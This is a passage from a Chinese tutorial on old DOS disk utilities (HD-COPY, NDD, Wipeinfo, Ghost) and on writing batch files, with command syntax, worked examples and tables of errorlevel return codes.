   简介:

    HD-COPY的功能太多了:软盘对拷,扩充容量,恢复数据,解压IMG文件,清洁软盘,可以说:软盘之事几乎无所不能,版本有多种,建议使用2.0a汉化版,下面介绍其中的两个重要功能:

    1.恢复数据

    软盘被划伤,重要数据件无法打开,也无法复制到硬盘上,怎么办?只要有HD-COPY和一张好软盘,一般可以解决,当然要看划伤程度了。

 

    恢复的步骤是: 在DOS下运行天汇TWay3.2,再运行HD-COPY,即会出现主界面,把坏软盘放到软驱内直接回车(执行“读取”),软驱慢慢读起来,经过重复读取,显示字符R的表示好扇区,显示字符E表示该扇区已坏,但坏扇区并不影响好扇区的备份这也正是文件可以恢复的关键所在。弹出坏软盘,换上好软盘(事先去掉写保护),将光标下移到“写入”处,回车按Y键确认,最后在我的电脑里打开软盘,看看能不能打开文件或复制文件了?祝你好运。

    2.扩充容量

可将1.44MB软盘扩充到1.764MB大小。

    步骤是:在DOS下运行天汇TWay3.2,再运行HD-COPY,即会出现主界面,插入软盘,选择格式化目标盘,回车,如图,选择“磁道数80-84”后,按4次回车,默认的80磁道就会变成了84磁道,选择最后选择最后一行的 1.764MB,回车按Y确认,开始格式化。等待格式化完毕按两次Esc键,再按Y键确认,即可退出HD-COPY。

8、磁盘医生NDD

    简介:

    Ndd.exe,是Norton Utilities 2002急救盘中的一个DOS工具,主要功能:修复硬盘引导记录MBR,主系统分区引导记录MPBR,文件分配表FAT等,支持FAT32和长文件名。

    操作:

    硬盘不能启动了怎么办?用本软件试试。步骤是:

   把Ndd.exe复制到Windows98启动盘里,用该盘启机,如果软盘放不下可以删除一些无用文件,输入ndd c:后回车显示主菜单,默认选择第一项(按回车键即可自动修复),在自动修复过程中可能会出现提示,一般情况请选其中的Skip Undo即可,修复完成后拿出软盘重启,看看电脑是不是能启动了?如图:

擦除信息Wipeinfo

    简介:

    Wipeinfo.exe,是NU8.0中文版里一个DOS工具,主要功能是:清零磁盘。

    操作:

    文件经常丢失,用DOS命令Scandisk /all测出硬盘有坏扇区(标有字符B的扇区),怎么办?首先要考虑可能是逻辑坏扇区(用本软件解决),如果不能解决再用低格软件Lformat(不建议首选,因为会影响硬盘的使用寿命),Wipeinfo的使用步骤是:

把Wipeinfo.exe和China16.fnt两个文件复制到Win98启动盘里,用该盘启动,输入wipeinfo回车,出现主菜单,选择驱动器,回车,选择硬盘,回车,即可清除。如图:

9、GHOST DOS下用法

一键备份C盘:

ghost -clone,mode=pdump,src=%shd%:1,dst=%shd%:%tpt%:\c_pan.gho -z2 -auto -fro -sure -fx

一键恢复C盘 (来自光盘):

ghost -clone,mode=pload,src=%romcd%\c_pan.gho:1,dst=%shd%:1 -fro -sure -fx

一键恢复C盘 (来自硬盘):

ghost -clone,mode=pload,src=%shd%:%tpt%:\c_pan.gho:1,dst=%shd%:1 -fro -sure fx

六、批处理文件 :

1.凡是扩展名为BAT的命令是批处理命令,键入其文件名回车即自动执行。

2.凡.BAT前为AUTOEXEC名时为开机即自动执行的自动批处理文件。

基本概念:

    顾名思义,所谓“批处理”就是“成批处理”,指用一个命令执行多个命令,其中的一个命令就是指批处理文件扩展名为bat的文件,最常见的批处理文件就是Autoexec.bat,电脑启动时会自动查找这个批处理命令,如果找到就会自动运行;多个命令是指普通的DOS命令或程序如copy(复制),md(创建一个文件夹),del(删除文件)等,另外也可以指批处理专用的命令,我们称之为批处理命令,如if(如果)for(条件)goto(转到)等。

批处理的介绍

  后缀是bat的文件就是批处理文件,是一种文本文件。简单的说,它的作用就是自动的连续执行多条命令,批处理文件的内容就是一条一条的命令。

此外电脑每次启动时都会寻找autoexec.bat这条批处理文件,从而可执行一些每次开机都要执行的命令,如设置路径path、加载鼠标驱动mouse、磁盘加速smartdrv等,可以使您的电脑真正自动化。

.bat是dos下的批处理文件

.cmd是nt内核命令行环境的另一种批处理文件

从更广义的角度来看,unix的shell脚本以及其它操作系统甚至应用程序中由外壳进行解释执行的文本,都具有与批处理文件十分相似的作用,而且同样是由专用解释器以行为单位解释执行,这种文本形式更通用的称谓是脚本语言。所以从某个程度分析,batch, unix shell, awk, basic, perl 等脚本语言都是一样的,只不过应用的范围和解释的平台各有不同而已。甚至有些应用程序仍然沿用批处理这一称呼,而其内容和扩展名与dos的批处理却又完全不同。

批处理文件是一个文本文件,这个文件的每一行都是一条DOS命令,可以使用DOS下的Edit或者Win的记事本(notepad)等任何文本文件编辑工具创建和修改。

批处理文件中完全可以使用非dos命令,甚至可以使用不具有可执行特性的普通数据性文件,这缘于windows系统这个新型解释平台的涉入,使得批处理的应用越来越“边缘化”。所以我们讨论的批处理应该限定在dos环境或者命令行环境中,否则很多观念和设定都需要做比较大的变动。

其次,批处理文件是一种简单的程序,可以通过条件语句(if)和流程控制语句(goto)来控制命令运行的流程,在批处理中也可以使用循环语句(for)来循环执行一条命令。当然,批处理文件的编程能力与C语言等编程语句比起来是十分有限的,也是十分不规范的。批处理的程序语句就是一条条的DOS命令(包括内部命令和外部命令),而批处理的能力主要取决于你所使用的命令。

批处理文件(batch file)也可以称之为批处理程序(batch program),这一点与编译型语言有所不同,就c语言来说,扩展名为c或者cpp的文件可以称之为c语言文件或者c语言源代码,但只有编译连接后的exe文件才可以称之为c语言程序。因为批处理文件本身既具有文本的可读性,又具有程序的可执行性,这些称谓的界限是比较模糊的。

第三,每个编写好的批处理文件都相当于一个DOS的外部命令,你可以把它所在的目录放到你的DOS搜索路径(path)中来使得它可以在任意位置运行。一个良好的习惯是在硬盘上建立一个bat或者batch目录(例如C:\BATCH),然后将所有你编写的批处理文件放到该目录中,这样只要在path中设置上c:\batch,你就可以在任意位置运行所有你编写的批处理程序。

纯以dos系统而言,可执行程序大约可以细分为五类,依照执行优先级由高到低排列分别是:DOSKEY宏命令(预先驻留内存),COMMAND.COM中的内部命令(根据内存的环境随时进驻内存),以com为扩展名的可执行程序(由command.com 直接载入内存),以exe位扩展名的可执行程序(由command.com 重定位后载入内存),以bat位扩展名的批处理程序(由command.com 解释分析,根据其内容按优先级顺序调用第2,3,4,5种可执行程序,分析一行,执行一行,文件本身不载入内存)

第四,在DOS和Win9x/Me系统下,C:盘根目录下的AUTOEXEC.BAT批处理文件是自动运行批处理文件,每次系统启动时会自动运行该文件,你可以将系统每次启动时都要运行的命令放入该文件中,例如设置搜索路径,调入鼠标驱动和磁盘缓存,设置系统环境变量等。下面是一个运行于Windows 98下的autoexec.bat的示例:

@ECHO OFF

PATH C:\WINDOWS;C:\WINDOWS\COMMAND;C:\UCDOS;C:\DOSTools;C:\SYSTOOLS;C:\WINTOOLS;C:\BATCH

LH SMARTDRV.EXE /X

LH DOSKEY.COM /INSERT

LH CTMOUSE.EXE

SET TEMP=D:\TEMP

SET TMP=D:\TEMP

AUTOEXEC.BAT为DOS系统的自动运行批处理文件,由COMMAND.COM启动时解释执行;而在Win9x环境中,不仅增加支持了 DOSSTART.BAT, WINSTART.BAT 等许多其它自动运行的批处理文件,对AUTOEXEC.BAT 也增加了 .DOS .W40 .BAK .OLD .PWS 等许多变体以适应复杂的环境和多变的需求。

以下关于命令的分类,有很多值得推敲的地方。常用命令中的@本不是命令,而dir、copy等也很常用的命令却没有列入, 而特殊命令中所有命令对我来说都是常用命令。建议将批处理所引用的命令分为内部命令、外部命令、第三方程序三类。而内部命令和外部命令中别有一类是专用于或常用于批处理中的命令可称之为“批处理命令”。

批处理命令:

1.CLS—清屏幕。

2.REM或;—注释,屏显描述一个程序的执行目的,

3.@—中断本行的屏显。

4.ECHO  ON或空/OFF—命令响应开关,决定执行的程序是否屏显。

5.PATH  d:\;d:\;d:----,为执行命令设检索路径.多个用;号隔开

6.PROMPT—$[字符] —设置系统提示符,常用的为$P$G。

7.PAUSE—暂停程序执行,并显PA……直到按任意键继续,使中途有思考和操作时间。

8.程序名执行命令或程序。

9.LOAD  D:\TSR程序全名,—装入驻留程序。

10.LOAD[HIGH]或(LH)—装入TSR程序,如LH  MOUSE(装入鼠标驱动程序)

11.CALL—分支,即在批文件中运行另一个批文件。

12.IF—有条件执行批文件。

13.GOTO—转向执行,即无条件执行批文件。

14.SET—设环境变量。

15.FOR—循环执行。

16.指定从键盘输入的字母。

常用命令  

echo、@、call、pause、rem 是批处理文件最常用的几个命令。

下面是DOS命令行或批处理中可能会见到的一些特殊标记符:

    CR(0D)     命令行结束符

    Escape(1B)     ANSI转义字符引导符

    Space(20)     常用的参数界定符

    Tab(09) ; =     不常用的参数界定符

    +       COPY命令文件连接符

    * ?         文件通配符

    ""         字符串界定符

    |         命令管道符

    < > >>     文件重定向符

    @         命令行回显屏蔽符

    /         参数开关引导符

    :         批处理标签引导符

    %         批处理变量引导符

    :: 确实可以起到rem 的注释作用, 而且更简洁有效; 但有两点需要注意:

    第一, 除了 :: 之外, 任何以 :开头的字符行, 在批处理中都被视作标号, 而直接忽略其后的所有内容, 只是为了与正常的标号相区别, 建议使用 goto 所无法识别的标号, 即在 :后紧跟一个非字母数字的一个特殊符号.

    第二, 与rem 不同的是, ::后的字符行在执行时不会回显, 无论是否用echo on打开命令行回显状态, 因为命令解释器不认为他是一个有效的命令行, 就此点来看, rem 在某些场合下将比 :: 更为适用; 另外, rem 可以用于 config.sys 文件中.

echo 表示显示此命令后的字符

echo off 表示在此语句后所有运行的命令都不显示命令行本身

ECHO

  当程序运行时,显示或隐藏批处理程序中的正文。也可用于允许或禁止命令的回显。在运行批处理程序时,MS-DOS一般在屏幕上显示(回显)批处理程序中的命令。

使用ECHO命令可关闭此功能。

语法

  ECHO [ON|OFF]

  若要用echo命令显示一条命令,可用下述语法:

  echo [message]

参数

ON|OFF--指定是否允许命令的回显。若要显示当前的ECHO的设置,可使用不带参数的ECHO命令。

Message--指定让MS-DOS在屏幕上显示的正文。

@ 屏蔽命令行回显

    @ 不是一个命令, 而是DOS 批处理的一个特殊标记符, 仅用于屏蔽命令行回显. @ 与echo off相象,但它是加在其它命令行的最前面,表示运行时不显示命令行本身。

CALL调用另一条批处理文件

    从一个批处理程序中调用另一个批处理程序,而不会引起第一个批处理的中止。

语法

  CALL [drive:][path]filename [batch-parameters]

参数

 [drive:][path]filename

  指定要调用的批处理程序的名字及其存放处。文件名必须用.BAT作扩展名。

batch-parameters

  指定批处理程序所需的命令行信息。

PAUSE 暂停

暂停批处理程序的执行并显示Press any key to continue... 等待用户按任意键后继续。只能在批处理程序中使用该命令。

语法

  PAUSE

rem

表示此命令后的字符为解释行,不执行,只是给自己今后查找用的 

REM  (可用::代替)此后的字符为解释,不执行,

  在批处理文件或CONFIG.SYS中加入注解。也可用REM命令来屏蔽命令(在CONFIG.SYS

中也可以用分号(;)代替REM命令,但在批处理文件中则不能替代)。

语法

  REM [string]

参数

String--指定要屏蔽的命令或要包含的注解。

例1:用edit编辑a.bat文件,输入下列内容后存盘为c:\a.bat,执行该批处理文件后可实现:将根目录中所有文件写入 a.txt中,启动UCDOS,进入WPS等功能。

  批处理文件的内容为:   命令注释:

    @echo off     不显示后续命令行及当前命令行

    dir c:\*.* >a.txt 将c盘文件列表写入a.txt

    call c:\ucdos\ucdos.bat    调用ucdos

    echo 你好      显示"你好"

    pause  暂停,等待按键继续

    rem 准备运行wps   注释:准备运行wps

    cd ucdos      进入ucdos目录

    wps   运行wps  

批处理文件的参数

批处理文件还可以像C语言的函数一样使用参数(相当于DOS命令的命令行参数),这需要用到一个参数表示符“%”。

%[1-9]表示参数,参数是指在运行批处理文件时在文件名后加的以空格(或者Tab)分隔的字符串。变量可以从%0到%9,%0表示批处理命令本身,其它参数字符串用%1到%9顺序表示。

例2:C:根目录下有一批处理文件名为f.bat,内容为:

@echo off

format %1

如果执行C:\>f a:

那么在执行f.bat时,%1就表示a:,这样format %1就相当于format a:,于是上面的命令运行时实际执行的是format a:

例3:C:根目录下一批处理文件名为t.bat,内容为:

@echo off

type %1

type %2

那么运行C:\>t a.txt b.txt

%1 : 表示a.txt

%2 : 表示b.txt

于是上面的命令将顺序地显示a.txt和b.txt文件的内容。

参数在批处理中也作为变量处理, 所以同样使用百分号作为引导符, 其后跟0-9中的一个数字构成参数引用符. 引用符和参数之间 (例如上文中的 %1 与 a: ) 的关系类似于变量指针与变量值的关系. 当我们要引用第十一个或更多个参数时, 就必须移动DOS 的参数起始指针. shift 命令正充当了这个移动指针的角色, 它将参数的起始指针移动到下一个参数, 类似C 语言中的指针操作. 图示如下:

初始状态, cmd 为命令名, 可以用 %0 引用

cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10

^   ^   ^   ^   ^   ^   ^   ^   ^   ^

|   |   |   |   |   |   |   |   |   |

%0   %1   %2   %3   %4   %5   %6   %7   %8   %9

 

经过1次shift后, cmd 将无法被引用

cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10

  ^   ^   ^   ^   ^   ^   ^   ^   ^   ^

  |   |   |   |   |   |   |   |   |   |

  %0   %1   %2   %3   %4   %5   %6   %7   %8   %9

 

经过2次shift后, arg1也被废弃, %9指向为空, 没有引用意义

cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10

      ^   ^   ^   ^   ^   ^   ^   ^   ^

      |   |   |   |   |   |   |   |   |

      %0   %1   %2   %3   %4   %5   %6   %7   %8

 

  遗憾的是, win9x 和DOS下均不支持 shift 的逆操作. 只有在 nt 内核命令行环境下, shift 才支持 /n 参数, 可以以第一参数为基准返复移动起始指针.

特殊命令  

一、if goto choice for

是批处理文件中比较高级的命令,如用得很熟练,就是批处理文件的专家。

一、if 是条件语句用来判断是否符合规定的条件,从而决定执行不同的命令。有三种格式:

1、if [not] "参数" == "字符串" 待执行的命令

参数如果等于(not表示不等,下同)指定的字符串,则条件成立,运行命令,否则运行下一句。

例:if "%1"=="a" format a:

  if 的命令行帮助中关于此点的描述为:

    IF [NOT] string1==string2 command

  在此有以下几点需要注意:

    1. 包含字符串的双引号不是语法所必须的, 而只是习惯上使用的一种"防空"字符

    2. string1 未必是参数, 它也可以是环境变量, 循环变量以及其他字符串常量或变量

    3. command 不是语法所必须的, string2 后跟一个空格就可以构成一个有效的命令行

 

2、if [not] exist [路径\]文件名 待执行的命令

如果有指定的文件,则条件成立,运行命令,否则运行下一句。

如: if exist c:\config.sys type c:\config.sys

表示如果存在c:\config.sys文件,则显示它的内容。

  也可以使用以下的用法:

    if exist command

  device 是指DOS系统中已加载的设备, 在win98下通常有:

    AUX, PRN, CON, NUL

    COM1, COM2, COM3, COM4

    LPT1, LPT2, LPT3, LPT4

    XMSXXXX0, EMMXXXX0

    A: B: C: ...,

    CLOCK$, CONFIG$, DblBuff$, IFS$HLP$

  具体的内容会因硬软件环境的不同而略有差异, 使用这些设备名称时, 需要保证以下三点:

    1. 该设备确实存在(由软件虚拟的设备除外)

    2. 该设备驱动程序已加载(aux, prn等标准设备由系统缺省定义)

    3. 该设备已准备好(主要是指a: b: ..., com1..., lpt1...等)

  可通过命令 mem/d | find "device" /i 来检阅你的系统中所加载的设备

  另外, 在DOS系统中, 设备也被认为是一种特殊的文件, 而文件也可以称作字符设备; 因为设备(device)与文件都是使用句柄(handle)来管理的, 句柄就是名字, 类似于文件名, 只不过句柄不是应用于磁盘管理, 而是应用于内存管理而已, 所谓设备加载也即指在内存中为其分配可引用的句柄.

3、if errorlevel <数字> 待执行的命令

很多DOS程序在运行结束后会返回一个数字值用来表示程序运行的结果(或者状态),通过if errorlevel命令可以判断程序的返回值,根据不同的返回值来决定执行不同的命令(返回值必须按照从大到小的顺序排列)。如果返回值等于指定的数字,则条件成立,运行命令,否则运行下一句。

如if errorlevel 2 goto x2

    返回值从大到小的顺序排列不是必须的, 而只是执行命令为 goto 时的习惯用法, 当使用 set 作为执行命令时, 通常会从小到大顺序排列, 比如需将返回码置入环境变量, 就需使用以下的顺序形式:

  if errorlevel 1 set el=1

  if errorlevel 2 set el=2

  if errorlevel 3 set el=3

  if errorlevel 4 set el=4

  if errorlevel 5 set el=5

  ...

  当然, 也可以使用以下循环来替代, 原理是一致的:

  for %%e in (1 2 3 4 5 6 7 8...) do if errorlevel %%e set el=%%e

  更高效简洁的用法, 可以参考我写的另一篇关于获取 errorlevel 的文章

  出现此种现象的原因是, if errorlevel 比较返回码的判断条件并非等于, 而是大于等于. 由于 goto 的跳转特性, 由小到大排序会导致在较小的返回码处就跳出; 而由于 set命令的 "重复" 赋值特性, 由大到小排序会导致较小的返回码 "覆盖" 较大的返回码.

  另外, 虽然 if errorlevel=<数字> command 也是有效的命令行, 但也只是 command.com 解释命令行时将 = 作为命令行切分符而忽略掉罢了

二、goto

批处理文件运行到这里将跳到goto所指定的标号(标号即label,标号用:后跟标准字符串来定义)处,goto语句一般与if配合使用,根据不同的条件来执行不同的命令组。如:

goto end

:end

echo this is the end

标号用“:字符串”来定义,标号所在行不被执行。

 

  label 常被译为 "标签" , 但是这并不具有广泛的约定性.

  goto

    Batch               C / Basic

    goto&:               goto&:

    goto&:&if             if{}&else{} / if&elseif&endif

    goto&:&if...         switch&case / select case

    goto&:&if&set&envar...     function() / function(),sub()

三、choice

使用此命令可以让用户输入一个字符(用于选择),从而根据用户的选择返回不同的errorlevel,然后于if errorlevel配合,根据用户的选择运行不同的命令。

注意:choice命令为DOS或者Windows系统提供的外部命令,不同版本的choice命令语法会稍有不同,请用choice /?查看用法。

choice的命令语法(该语法为Windows 2003中choice命令的语法,其它版本的choice的命令语法与此大同小异):

CHOICE [/C choices] [/N] [/CS] [/T timeout /D choice] [/M text]

描述:

  该工具允许用户从选择列表选择一个项目并返回所选项目的索引。

参数列表:

  /C   choices     指定要创建的选项列表。默认列表是 "YN"。

  /N             在提示符中隐藏选项列表。提示前面的消息得到显示,

              选项依旧处于启用状态。

  /CS           允许选择分大小写的选项。在默认情况下,这个工具

              是不分大小写的。

  /T   timeout     做出默认选择之前,暂停的秒数。可接受的值是从 0

              到 9999。如果指定了 0,就不会有暂停,默认选项

              会得到选择。

  /D   choice     在 nnnn 秒之后指定默认选项。字符必须在用 /C 选

              项指定的一组选择中; 同时,必须用 /T 指定 nnnn。

  /M   text       指定提示之前要显示的消息。如果没有指定,工具只

              显示提示。

  /?             显示帮助消息。

  注意:

  ERRORLEVEL 环境变量被设置为从选择集选择的键索引。列出的第一个选

  择返回 1,第二个选择返回 2,等等。如果用户按的键不是有效的选择,

  该工具会发出警告响声。如果该工具检测到错误状态,它会返回 255 的

  ERRORLEVEL 值。如果用户按 Ctrl+Break 或 Ctrl+C 键,该工具会返回 0

  的 ERRORLEVEL 值。在一个批程序中使用 ERRORLEVEL 参数时,将参数降

  序排列。

示例:

  CHOICE /?

  CHOICE /C YNC /M "确认请按 Y,否请按 N,或者取消请按 C。"

  CHOICE /T 10 /C ync /CS /D y

  CHOICE /C ab /M "选项 1 请选择 a,选项 2 请选择 b。"

  CHOICE /C ab /N /M "选项 1 请选择 a,选项 2 请选择 b。"

  我列出win98下choice的用法帮助, 已资区分

Waits for the user to choose one of a set of choices.

等待用户选择一组待选字符中的一个

CHOICE [/C[:]choices] [/N] [/S] [/T[:]c,nn] [text]

/C[:]choices Specifies allowable keys. Default is YN

        指定允许的按键(待选字符), 默认为YN

/N       Do not display choices and ? at end of prompt string.

        不显示提示字符串中的问号和待选字符

/S       Treat choice keys as case sensitive.

        处理待选字符时大小写敏感

/T[:]c,nn   Default choice to c after nn seconds

        在 nn 秒后默认选择 c

text       Prompt string to display

        要显示的提示字符串

ERRORLEVEL is set to offset of key user presses in choices.

ERRORLEVEL 被设置为用户键入的字符在待选字符中的偏移值

如果我运行命令:CHOICE /C YNC /M "确认请按 Y,否请按 N,或者取消请按 C。"

屏幕上会显示:

确认请按 Y,否请按 N,或者取消请按 C。 [Y,N,C]?

例:test.bat的内容如下(注意,用if errorlevel判断返回值时,要按返回值从高到低排列):

@echo off

choice /C dme /M "defrag,mem,end"

if errorlevel 3 goto end

if errorlevel 2 goto mem

if errorlevel 1 goto defrag

:defrag

c:\dos\defrag

goto end

:mem

mem

goto end

:end

echo good bye

此批处理运行后,将显示“defrag,mem,end[D,M,E]?” ,用户可选择d m e ,然后if语句根据用户的选择作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,批处理运行结束。

四、for

循环命令,只要条件符合,它将多次执行同一命令。

语法:

对一组文件中的每一个文件执行某个特定命令。

FOR %%variable IN (set集合) DO command命令[command-parameters]

%%variable 指定一个单一字母可替换的参数。

(set)     指定一个或一组文件。可以使用通配符。

command   指定对每个文件执行的命令。

command-parameters

        为特定命令指定参数或命令行开关。

例如一个批处理文件中有一行:

for %%c in (*.bat *.txt) do type %%c

则该命令行会显示当前目录下所有以bat和txt为扩展名的文件的内容。

  需要指出的是, 当()中的字符串并非单个或多个文件名时, 它将单纯被当作字符串替换, 这个特性再加上()中可以嵌入多个字符串的特性, 很明显 for 可以被看作一种遍历型循环.

  当然, 在 nt/2000/xp/2003 系列的命令行环境中, for 被赋予了更多的特性, 使之可以分析命令输出或者文件中的字符串, 也有很多开关被用于扩展了文件替换功能.

autoexec.bat  

   DOS在启动会自动运行autoexec.bat这条文件,一般我们在里面装载每次必用的程序,如: path(设置路径)、smartdrv(磁盘加速)、 mouse(鼠标启动)、mscdex(光驱连接)、 doskey(键盘管理)、set(设置环境变量)等。

  如果启动盘根目录中没有这个文件,电脑会让用户输入日期和时间。

  例如,一个典型的autoexec.bat内容如下:

@echo off   不显示命令行

prompt $p$g  设置提示符前有目录提示

path c:\dos;c:\;c:\windows;c:\ucdos;c:\tools    设置路径

lh c:\dos\doskey.com    加载键盘管理

lh c:\mouse\mouse.com   加载鼠标管理

lh c:\dos\smartdrv.exe   加载磁盘加速管理

lh c:\dos\mscdex /S /D:MSCD000 /M:12 /V加载CD-ROM驱动

set temp=c:\temp      设置临时目录

七、批处理文件运用

1. IF-EXIST

1) 首先用记事本在C:\建立一个test1.bat批处理文件,文件内容如下:

@echo off

IF EXIST \AUTOEXEC.BAT TYPE \AUTOEXEC.BAT

IF NOT EXIST \AUTOEXEC.BAT ECHO \AUTOEXEC.BAT does not exist

运行C:\>TEST1.BAT:如果C:\存在AUTOEXEC.BAT文件,那么它的内容就会被显示出来,如果不存在,批处理就会提示你该文件不存在。

2) 接着再建立一个test2.bat文件,内容如下:

@ECHO OFF

IF EXIST \%1 TYPE \%1

IF NOT EXIST \%1 ECHO \%1 does not exist

执行:C:\>TEST2 AUTOEXEC.BAT,运行结果同上。

说明:

(1) IF EXIST 是用来测试文件是否存在,格式为:IF EXIST [路径+文件名] 命令

(2) test2.bat文件中的%1是参数,DOS允许传递9个批参数信息给批处理文件,分别为%1~%9(%0表示test2命令本身) ,这有点象编程中的实参和形参的关系,%1是形参,AUTOEXEC.BAT是实参。

  DOS没有 "允许传递9个批参数信息" 的限制, 参数的个数只会受到命令行长度和所调用命令处理能力的限制. 但是, 我们在批处理程序中, 在同一时刻只能同时引用10个参数, 因为 DOS只给出了 %0~%9这十个参数引用符.

3) 更进一步的,建立一个名为TEST3.BAT的文件,内容如下:

@echo off

IF "%1" == "A" ECHO XIAO

IF "%2" == "B" ECHO TIAN

IF "%3" == "C" ECHO XIN

如果运行:C:\>TEST3 A B C。屏幕上会显示:

XIAO

TIAN

XIN

如果运行:C:\>TEST3 A B。屏幕上会显示

XIAO

TIAN

在这个命令执行过程中,DOS会将一个空字符串指定给参数%3。

2、IF-ERRORLEVEL

建立TEST4.BAT,内容如下:

@ECHO OFF

XCOPY C:\AUTOEXEC.BAT D:\

IF ERRORLEVEL 1 ECHO 文件拷贝失败

IF ERRORLEVEL 0 ECHO 成功拷贝文件

执行:C:\>TEST4。如果文件拷贝成功,屏幕就会显示“成功拷贝文件”,否则就会显示“文件拷贝失败”。

IF ERRORLEVEL 是用来测试它的上一个DOS命令的返回值的,注意只是上一个命令的返回值,而且返回值必须依照从大到小次序顺序判断。

因此下面的批处理文件是错误的:

@ECHO OFF

XCOPY C:\AUTOEXEC.BAT D:\

IF ERRORLEVEL 0 ECHO 成功拷贝文件

IF ERRORLEVEL 1 ECHO 未找到拷贝文件

IF ERRORLEVEL 2 ECHO 用户通过ctrl-c中止拷贝操作

IF ERRORLEVEL 3 ECHO 预置错误阻止文件拷贝操作

IF ERRORLEVEL 4 ECHO 拷贝过程中写盘错误

无论拷贝是否成功,后面的:

未找到拷贝文件

用户通过ctrl-c中止拷贝操作

预置错误阻止文件拷贝操作

拷贝过程中写盘错误

都将显示出来。

以下就是几个常用命令的返回值及其代表的意义:

backup

0 备份成功

1 未找到备份文件

2 文件共享冲突阻止备份完成

3 用户用ctrl-c中止备份

4 由于致命的错误使备份操作中止

diskcomp

0 盘比较相同

1 盘比较不同

2 用户通过ctrl-c中止比较操作

3 由于致命的错误使比较操作中止

4 预置错误中止比较

diskcopy

0 盘拷贝操作成功

1 非致命盘读/写错

2 用户通过ctrl-c结束拷贝操作

3 因致命的处理错误使盘拷贝中止

4 预置错误阻止拷贝操作

format

0 格式化成功

3 用户通过ctrl-c中止格式化处理

4 因致命的处理错误使格式化中止

5 在提示“proceed with format(y/n)”下用户键入n结束

xcopy

0 成功拷贝文件

1 未找到拷贝文件

2 用户通过ctrl-c中止拷贝操作

4 预置错误阻止文件拷贝操作

5 拷贝过程中写盘错误

chkdsk

0   未找到错误

255 找到一个或多个错误

choice

0   用户按下ctrl+c/break

1   用户按下第一个键

255 检测到命令行中的错误条件

其它 用户按下的有效字符在列表中的位置

defrag

0   碎片压缩成功

1   出现内部错误

2   磁盘上没有空簇。要运行DEFRAG,至少要有一个空簇

3   用户用Ctrl+C退出了DEFRAG

4   出现一般性错误

5   DEFRAG在读簇时遇到错误

6   DEFRAG在写簇时遇到错误

7   分配空间有错

8   内存错

9   没有足够空间来压缩磁盘碎片

deltree

0   成功地删除一个目录

diskcomp

0   两盘相同

1   发现不同

2   按CTRL+C 终止了比较

3   出现严重错误

4   出现初始化错误

find

0   查找成功且至少找到了一个匹配的字符串

1   查找成功但没找到匹配的字符串

2   查找中出现了错误

keyb

0   键盘定义文件装入成功

1   使用了非法的键盘代码,字符集或语法

2   键盘定义文件坏或未找到

4   键盘、监视器通讯时出错

5   要求的字符集未准备好

move

0   成功地移动了指定的文件

1   发生了错误

msav /N

86   检查到了病毒

replace

0   REPLACE成功地替换或加入了文件

1   MS-DOS版本和REPLACE不兼容

2   REPLACE找不到源文件

3   REPLACE找不到源路径或目标路径

5   不能存取要替换的文件

8   内存不够无法执行REPLACE

11   命令行句法错误

restore

0   RESTORE成功地恢复了文件

1   RESTORE找不到要恢复的文件

3   用户按CTRL+C终止恢复过程

4   RESTORE因错误而终止

scandisk

0   ScanDisk在它检查的驱动器上未检测到任何错误

1   由于命令行的语法不对,不能运行ScanDisk

2   由于内存用尽或发生内部错误,ScanDisk意外终止

3   用户让ScanDisk中途退出

4   进行盘面扫描时,用户决定提前退出

254 ScanDisk找到磁盘故障并已全部校正

255 ScanDisk找到磁盘故障,但未能全部校正

setver

0   SETVER成功地完成了任务

1   用户指定了一个无效的命令开关

2   用户指定了一个非法的文件名

3   没有足够的系统内存来运行命令

4   用户指定了一个非法的版本号格式

5   SETVER在版本表中未找到指定的项

6   SETVER未找到SETVER.EXE文件

7   用户指定了一个非法的驱动器

8   用户指定了太多的命令行参数

9   SETVER检测到丢失了命令行参数

10   在读SETVER.EXE文件时,SETVER检测到发生错误

11   SETVER.EXE文件损坏

12   指定的SETVER.EXE文件不支持版本表

13   版本表中没有足够的空间存放新的项

14   在写SETVER.EXE文件时SETVER检测到发生错误

3、IF STRING1 == STRING2

建立TEST5.BAT,文件内容如下:

@echo off

IF "%1" == "A" FORMAT A:

执行:C:\>TEST5 A。屏幕上就出现是否将A:盘格式化的内容。

注意:为了防止参数为空的情况,一般会将字符串用双引号(或者其它符号,注意不能使用保留符号)括起来。如:if [%1]==[A] 或者 if %1*==A*

5、GOTO

建立TEST6.BAT,文件内容如下:

@ECHO OFF

IF EXIST C:\AUTOEXEC.BAT GOTO _COPY

GOTO _DONE

:_COPY

COPY C:\AUTOEXEC.BAT D:\

:_DONE

注意:

(1) 标号前是ASCII字符的冒号":",冒号与标号之间不能有空格。

(2) 标号的命名规则与文件名的命名规则相同。

(3) DOS支持最长八位字符的标号,当无法区别两个标号时,将跳转至最近的一个标号。

  1)标号也称作标签(label)

  2)标签不能以大多数的非字母数字字符开始, 而文件名中则可以使用很多

  3)当无法区别两个标签时, 将跳转至位置最靠前的标签

6、FOR

建立C:\TEST7.BAT,文件内容如下:

@ECHO OFF

FOR %%C IN (*.BAT *.TXT *.SYS) DO TYPE %%C

运行:C:\>TEST7。屏幕上会将C:盘根目录下所有以BAT、TXT、SYS为扩展名的文件内容显示出来(不包括隐藏文件)。

制作批处理命令的制作方法

    以Win98的Autoexec.bat为例,讲述如何制作一个批处理文件。

   (一)DOS下的制作方法: 用纯文本编辑命令:Edit.exe

    1 进入DOS

    2 输入edit c:\autoexec.bat回车,出现一个蓝色界面,输入以下内容,如图:

   

@echo off--表示不显示以下命令行,@表示不显示本行path=c:\windows;c:\windows\command   设置Windows 自身安装的DOS 外部命令存放位置,以便于直接使用外部命令。

set temp=c:\windows\temp   设置Windows临时文件存放位置

c:\windows\command\mscdex /d:mscd000  让DOS能识别光驱

lh doskey 把命令存储命令放入高端内存,在DOS状态下Doskey命令可以让你使用上下光标键翻阅选择原来输入过的命令,就如同Windows浏览器里面的历史记录一样。

cls 清除屏幕显示

    3 按Alt+F组合键激活文件菜单,选Exit,回车,出现一个对话框按Y键或者直接回车即可保存退出

    (二)Win下的制作方法: 用记事本编辑:

     1 点击开始--程序--附件--记事本

     2 输入如图里面所表示的内容

   

